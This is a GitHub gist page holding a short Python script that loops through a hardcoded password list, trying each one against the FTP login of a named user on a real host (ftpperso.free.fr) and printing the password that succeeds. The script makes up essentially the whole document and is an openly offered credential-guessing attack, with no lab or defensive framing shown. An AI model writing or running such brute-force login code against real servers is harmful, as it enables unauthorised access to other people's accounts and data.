Created
May 31, 2016 18:23
-
-
Save jbn/d02d2869b6962c300e1d2fe774780811 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from ftplib import FTP, error_perm, error_temp | |
# List passwords | |
passlist = ["azedaedaze" , "connerre" , "iazevbfhiazev"] | |
length = len(passlist) | |
# IP FTP | |
ftp = FTP('ftpperso.free.fr') | |
# User FTP | |
user = "esconnerre" | |
for p in range(length): | |
password = passlist[p] | |
ftp = FTP('ftpperso.free.fr') | |
try: | |
connect = ftp.login(user , password) | |
print("OK : " + password) | |
break | |
ftp.quit() | |
except error_perm as e: | |
print("FAIL {} on {}: ".format(e, password)) | |
finally: | |
try: | |
ftp.quit() | |
except error_temp: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment